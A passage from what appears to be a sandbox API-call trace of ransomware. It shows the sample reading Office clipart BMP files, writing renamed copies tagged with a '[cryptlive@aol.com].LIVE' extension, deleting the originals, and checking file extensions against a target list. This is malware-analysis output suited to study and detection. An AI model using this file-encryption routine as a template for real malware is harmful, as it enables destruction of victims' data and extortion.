nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.025] WriteFile (in: hFile=0x3b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.025] SetEndOfFile (hFile=0x3b0) returned 1 [0150.204] CloseHandle (hObject=0x3b0) returned 1 [0150.204] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.204] SetEndOfFile (hFile=0x3a8) returned 1 [0150.210] CloseHandle (hObject=0x3a8) returned 1 [0150.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0150.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.211] lstrlenW (lpString=".doc") returned 4 [0150.211] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.211] lstrlenW (lpString=".docx") returned 5 [0150.211] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0150.211] lstrlenW (lpString=".pdf") returned 4 [0150.211] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.211] lstrlenW (lpString=".xls") returned 4 [0150.211] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.211] lstrlenW (lpString=".xlsx") returned 5 [0150.211] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0150.211] lstrlenW (lpString=".ppt") returned 4 [0150.211] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.211] lstrlenW (lpString=".zip") returned 4 [0150.211] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".rar") returned 4 [0150.212] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".bz2") returned 4 [0150.212] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".7z") returned 3 [0150.212] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.212] lstrlenW (lpString=".dbf") returned 4 [0150.212] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.212] lstrlenW (lpString=".1cd") returned 4 [0150.212] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.212] lstrlenW (lpString=".jpg") returned 4 [0150.212] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.212] lstrlenW (lpString=".doc") returned 4 [0150.212] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".docx") returned 5 [0150.212] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0150.212] lstrlenW (lpString=".pdf") returned 4 [0150.212] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".xls") returned 4 [0150.212] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".xlsx") returned 5 [0150.212] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0150.212] lstrlenW (lpString=".ppt") returned 4 [0150.212] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.212] lstrlenW (lpString=".zip") returned 4 [0150.212] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".rar") returned 4 [0150.212] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".bz2") returned 4 [0150.212] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.212] lstrlenW (lpString=".7z") returned 3 [0150.213] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.213] lstrlenW (lpString=".dbf") returned 4 [0150.213] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.213] lstrlenW (lpString=".1cd") returned 4 [0150.213] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP") returned 63 [0150.213] lstrlenW (lpString=".jpg") returned 4 [0150.213] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.213] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.213] lstrlenW (lpString="J0101858.BMP") returned 12 [0150.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.214] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=32184) returned 1 [0150.214] CloseHandle (hObject=0x3a8) returned 1 [0150.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 0x20 [0150.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.214] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.214] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0150.215] GetLastError () returned 0x0 [0150.215] ReadFile (in: hFile=0x3a8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.340] WriteFile (in: hFile=0x3b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.341] ReadFile (in: hFile=0x3a8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.341] WriteFile (in: hFile=0x3b0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.342] SetEndOfFile (hFile=0x3b0) returned 1 [0150.342] CloseHandle (hObject=0x3b0) returned 1 [0150.342] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.342] SetEndOfFile (hFile=0x3a8) returned 1 [0150.346] CloseHandle (hObject=0x3a8) returned 1 [0150.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0150.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.347] lstrlenW (lpString=".doc") returned 4 [0150.347] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.347] lstrlenW (lpString=".docx") returned 5 [0150.347] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0150.347] lstrlenW (lpString=".pdf") returned 4 [0150.347] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.347] lstrlenW (lpString=".xls") returned 4 [0150.347] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.347] lstrlenW (lpString=".xlsx") returned 5 [0150.347] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0150.347] lstrlenW (lpString=".ppt") returned 4 [0150.347] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.347] lstrlenW (lpString=".zip") returned 4 [0150.347] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.347] lstrlenW (lpString=".rar") returned 4 [0150.348] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString=".bz2") returned 4 [0150.348] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString=".7z") returned 3 [0150.348] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.348] lstrlenW (lpString=".dbf") returned 4 [0150.348] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.348] lstrlenW (lpString=".1cd") returned 4 [0150.348] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.348] lstrlenW (lpString=".jpg") returned 4 [0150.348] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.348] lstrlenW (lpString=".doc") returned 4 [0150.348] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString=".docx") returned 5 [0150.348] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0150.348] lstrlenW (lpString=".pdf") returned 4 [0150.348] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString=".xls") returned 4 [0150.348] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString=".xlsx") returned 5 [0150.348] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0150.348] lstrlenW (lpString=".ppt") returned 4 [0150.348] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.348] lstrlenW (lpString=".zip") returned 4 [0150.348] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.348] lstrlenW (lpString=".rar") returned 4 [0150.348] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.349] lstrlenW (lpString=".bz2") returned 4 [0150.349] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.349] lstrlenW (lpString=".7z") returned 3 [0150.349] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.349] lstrlenW (lpString=".dbf") returned 4 [0150.349] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.349] lstrlenW (lpString=".1cd") returned 4 [0150.349] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0150.349] lstrlenW (lpString=".jpg") returned 4 [0150.349] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.349] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.349] lstrlenW (lpString="J0101861.BMP") returned 12 [0150.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0150.380] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=32184) returned 1 [0150.380] CloseHandle (hObject=0x3b4) returned 1 [0150.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 0x20 [0150.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0150.391] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.391] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0150.392] GetLastError () returned 0x0 [0150.392] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.418] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.420] ReadFile (in: hFile=0x1f8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.420] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.420] SetEndOfFile (hFile=0x3d0) returned 1 [0150.420] CloseHandle (hObject=0x3d0) returned 1 [0150.420] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.420] SetEndOfFile (hFile=0x1f8) returned 1 [0150.422] CloseHandle (hObject=0x1f8) returned 1 [0150.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0150.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.440] lstrlenW (lpString=".doc") returned 4 [0150.440] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.440] lstrlenW (lpString=".docx") returned 5 [0150.440] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0150.440] lstrlenW (lpString=".pdf") returned 4 [0150.440] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.440] lstrlenW (lpString=".xls") returned 4 [0150.440] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.440] lstrlenW (lpString=".xlsx") returned 5 [0150.440] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0150.440] lstrlenW (lpString=".ppt") returned 4 [0150.440] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.440] lstrlenW (lpString=".zip") returned 4 [0150.440] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.440] lstrlenW (lpString=".rar") returned 4 [0150.440] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.440] lstrlenW (lpString=".bz2") returned 4 [0150.440] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.440] lstrlenW (lpString=".7z") returned 3 [0150.440] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.441] lstrlenW (lpString=".dbf") returned 4 [0150.441] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.441] lstrlenW (lpString=".1cd") returned 4 [0150.441] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.441] lstrlenW (lpString=".jpg") returned 4 [0150.441] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.441] lstrlenW (lpString=".doc") returned 4 [0150.441] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.441] lstrlenW (lpString=".docx") returned 5 [0150.441] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0150.441] lstrlenW (lpString=".pdf") returned 4 [0150.441] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.441] lstrlenW (lpString=".xls") returned 4 [0150.441] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.441] lstrlenW (lpString=".xlsx") returned 5 [0150.441] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0150.441] lstrlenW (lpString=".ppt") returned 4 [0150.441] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.441] lstrlenW (lpString=".zip") returned 4 [0150.441] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.441] lstrlenW (lpString=".rar") returned 4 [0150.441] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.442] lstrlenW (lpString=".bz2") returned 4 [0150.442] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.442] lstrlenW (lpString=".7z") returned 3 [0150.442] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.442] lstrlenW (lpString=".dbf") returned 4 [0150.442] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.442] lstrlenW (lpString=".1cd") returned 4 [0150.442] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP") returned 63 [0150.442] lstrlenW (lpString=".jpg") returned 4 [0150.442] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.442] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.442] lstrlenW (lpString="J0101867.BMP") returned 12 [0150.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0150.451] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=32616) returned 1 [0150.451] CloseHandle (hObject=0x3d8) returned 1 [0150.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20 [0150.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0150.654] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.654] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0150.655] GetLastError () returned 0x0 [0150.655] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x7f68, lpOverlapped=0x0) returned 1 [0150.676] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7f70, lpOverlapped=0x0) returned 1 [0150.677] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.677] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.677] SetEndOfFile (hFile=0x3b4) returned 1 [0151.454] CloseHandle (hObject=0x3b4) returned 1 [0151.454] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.454] 